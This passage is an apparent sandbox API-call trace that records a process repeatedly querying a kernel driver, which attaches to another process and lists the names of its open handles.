HandleInformation=0x0) returned 0x0 [0104.335] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.335] PsReleaseProcessExitSynchronization () returned 0x2 [0104.335] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.335] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.335] ObfDereferenceObject (Object=0xfffffa8002f80c00) returned 0xe [0104.335] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.335] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.336] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.336] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0104.336] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.336] PsAcquireProcessExitSynchronization () returned 0x0 [0104.336] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.336] ObReferenceObjectByHandle (in: Handle=0x93c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0016c4d40, HandleInformation=0x0) returned 0x0 [0104.336] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.336] PsReleaseProcessExitSynchronization () returned 0x2 [0104.336] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.336] ObQueryNameString (in: Object=0xfffff8a0016c4d40, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.336] ObfDereferenceObject (Object=0xfffff8a0016c4d40) returned 0x4 [0104.336] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.336] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.336] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.336] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0104.336] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.336] PsAcquireProcessExitSynchronization () returned 0x0 [0104.336] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.336] ObReferenceObjectByHandle (in: Handle=0x9d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002fbc4d0, HandleInformation=0x0) returned 0x0 [0104.336] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.336] PsReleaseProcessExitSynchronization () returned 0x2 [0104.336] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.336] ObQueryNameString (in: Object=0xfffffa8002fbc4d0, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.336] ObfDereferenceObject (Object=0xfffffa8002fbc4d0) returned 0x1 [0104.336] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.336] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.336] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.336] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0104.336] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.336] PsAcquireProcessExitSynchronization () returned 0x0 [0104.336] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.337] ObReferenceObjectByHandle (in: Handle=0x9d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030b3630, HandleInformation=0x0) returned 0x0 [0104.337] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.337] PsReleaseProcessExitSynchronization () returned 0x2 [0104.337] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.337] ObQueryNameString (in: Object=0xfffffa80030b3630, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.337] ObfDereferenceObject (Object=0xfffffa80030b3630) returned 0x1 [0104.337] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.337] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.337] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.337] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0104.337] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.337] PsAcquireProcessExitSynchronization () returned 0x0 [0104.337] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.337] ObReferenceObjectByHandle (in: Handle=0x9dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80031325c0, HandleInformation=0x0) returned 0x0 [0104.337] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.337] PsReleaseProcessExitSynchronization () returned 0x2 [0104.337] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.337] ObQueryNameString (in: Object=0xfffffa80031325c0, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.337] ObfDereferenceObject (Object=0xfffffa80031325c0) returned 0x1 [0104.337] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.337] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.337] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.337] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0104.337] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.337] PsAcquireProcessExitSynchronization () returned 0x0 [0104.337] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.337] ObReferenceObjectByHandle (in: Handle=0xa28, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a004a24140, HandleInformation=0x0) returned 0x0 [0104.337] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.338] PsReleaseProcessExitSynchronization () returned 0x2 [0104.338] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.338] ObQueryNameString (in: Object=0xfffff8a004a24140, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.338] ObfDereferenceObject (Object=0xfffff8a004a24140) returned 0x3 [0104.338] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.338] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.338] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.338] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0104.338] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.338] PsAcquireProcessExitSynchronization () returned 0x0 [0104.338] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.338] ObReferenceObjectByHandle (in: Handle=0xa44, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80034d7bb0, HandleInformation=0x0) returned 0x0 [0104.338] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.338] PsReleaseProcessExitSynchronization () returned 0x2 [0104.338] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.338] ObQueryNameString (in: Object=0xfffffa80034d7bb0, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.338] ObfDereferenceObject (Object=0xfffffa80034d7bb0) returned 0x2 [0104.338] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.338] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.338] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.338] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0104.338] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.338] PsAcquireProcessExitSynchronization () returned 0x0 [0104.338] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.338] ObReferenceObjectByHandle (in: Handle=0xaac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003aeb2c0, HandleInformation=0x0) returned 0x0 [0104.338] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.338] PsReleaseProcessExitSynchronization () returned 0x2 [0104.338] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.338] ObQueryNameString (in: Object=0xfffffa8003aeb2c0, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.339] ObfDereferenceObject (Object=0xfffffa8003aeb2c0) returned 0x1 [0104.339] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.339] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.339] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.339] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0104.339] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.339] PsAcquireProcessExitSynchronization () returned 0x0 [0104.339] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.339] ObReferenceObjectByHandle (in: Handle=0xbc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001f70ac0, HandleInformation=0x0) returned 0x0 [0104.339] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.339] PsReleaseProcessExitSynchronization () returned 0x2 [0104.339] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.339] ObQueryNameString (in: Object=0xfffffa8001f70ac0, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.339] ObfDereferenceObject (Object=0xfffffa8001f70ac0) returned 0x11 [0104.339] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.339] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.339] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.339] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x6c, lpOverlapped=0x0) returned 1 [0104.339] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.339] PsAcquireProcessExitSynchronization () returned 0x0 [0104.339] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.339] ObReferenceObjectByHandle (in: Handle=0xdf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80018afa70, HandleInformation=0x0) returned 0x0 [0104.339] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.339] PsReleaseProcessExitSynchronization () returned 0x2 [0104.339] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.339] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.339] ObfDereferenceObject (Object=0xfffffa80018afa70) returned 0x13 [0104.340] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.340] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.340] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.340] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0104.340] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.340] PsAcquireProcessExitSynchronization () returned 0x0 [0104.340] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.340] ObReferenceObjectByHandle (in: Handle=0xe18, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80028c3d10, HandleInformation=0x0) returned 0x0 [0104.340] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.340] PsReleaseProcessExitSynchronization () returned 0x2 [0104.340] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.340] ObQueryNameString (in: Object=0xfffffa80028c3d10, ObjectNameInfo=0xfffffa80025fe044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fe044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.340] ObfDereferenceObject (Object=0xfffffa80028c3d10) returned 0x1 [0104.340] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.340] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.340] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.340] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0104.340] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.340] PsAcquireProcessExitSynchronization () returned 0x0 [0104.340] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.340] ObReferenceObjectByHandle (in: Handle=0xe34, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80028c2240, HandleInformation=0x0) returned 0x0 [0104.340] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.340] PsReleaseProcessExitSynchronization () returned 0x2 [0104.340] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.340] ObQueryNameString (in: Object=0xfffffa80028c2240, ObjectNameInfo=0xfffffa8001fa5044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fa5044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.340] ObfDereferenceObject (Object=0xfffffa80028c2240) returned 0x2 [0104.340] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.341] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.341] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.341] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0104.341] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.341] PsAcquireProcessExitSynchronization () returned 0x0 [0104.341] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.341] ObReferenceObjectByHandle (in: Handle=0xe38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800193d590, HandleInformation=0x0) returned 0x0 [0104.341] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.341] PsReleaseProcessExitSynchronization () returned 0x2 [0104.341] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.341] ObQueryNameString (in: Object=0xfffffa800193d590, ObjectNameInfo=0xfffffa8002813044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002813044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.341] ObfDereferenceObject (Object=0xfffffa800193d590) returned 0x2 [0104.341] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.341] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.341] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.341] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0104.341] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.341] PsAcquireProcessExitSynchronization () returned 0x0 [0104.341] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.341] ObReferenceObjectByHandle (in: Handle=0xe7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001cab610, HandleInformation=0x0) returned 0x0 [0104.341] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.341] PsReleaseProcessExitSynchronization () returned 0x2 [0104.341] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.341] ObQueryNameString (in: Object=0xfffff8a001cab610, ObjectNameInfo=0xfffffa8002821044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002821044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.341] ObfDereferenceObject (Object=0xfffff8a001cab610) returned 0x2 [0104.341] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.341] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.342] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.342] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0104.342] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.342] PsAcquireProcessExitSynchronization () returned 0x0 [0104.342] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.342] ObReferenceObjectByHandle (in: Handle=0xe84, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0019dc710, HandleInformation=0x0) returned 0x0 [0104.342] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.342] PsReleaseProcessExitSynchronization () returned 0x2 [0104.342] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.342] ObQueryNameString (in: Object=0xfffff8a0019dc710, ObjectNameInfo=0xfffffa80033f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80033f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.342] ObfDereferenceObject (Object=0xfffff8a0019dc710) returned 0x2 [0104.342] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.342] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.342] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.342] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0104.342] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.342] PsAcquireProcessExitSynchronization () returned 0x0 [0104.342] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.342] ObReferenceObjectByHandle (in: Handle=0xea4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003c57570, HandleInformation=0x0) returned 0x0 [0104.342] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.342] PsReleaseProcessExitSynchronization () returned 0x2 [0104.342] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.342] ObQueryNameString (in: Object=0xfffffa8003c57570, ObjectNameInfo=0xfffffa8002650044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002650044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.342] ObfDereferenceObject (Object=0xfffffa8003c57570) returned 0x1 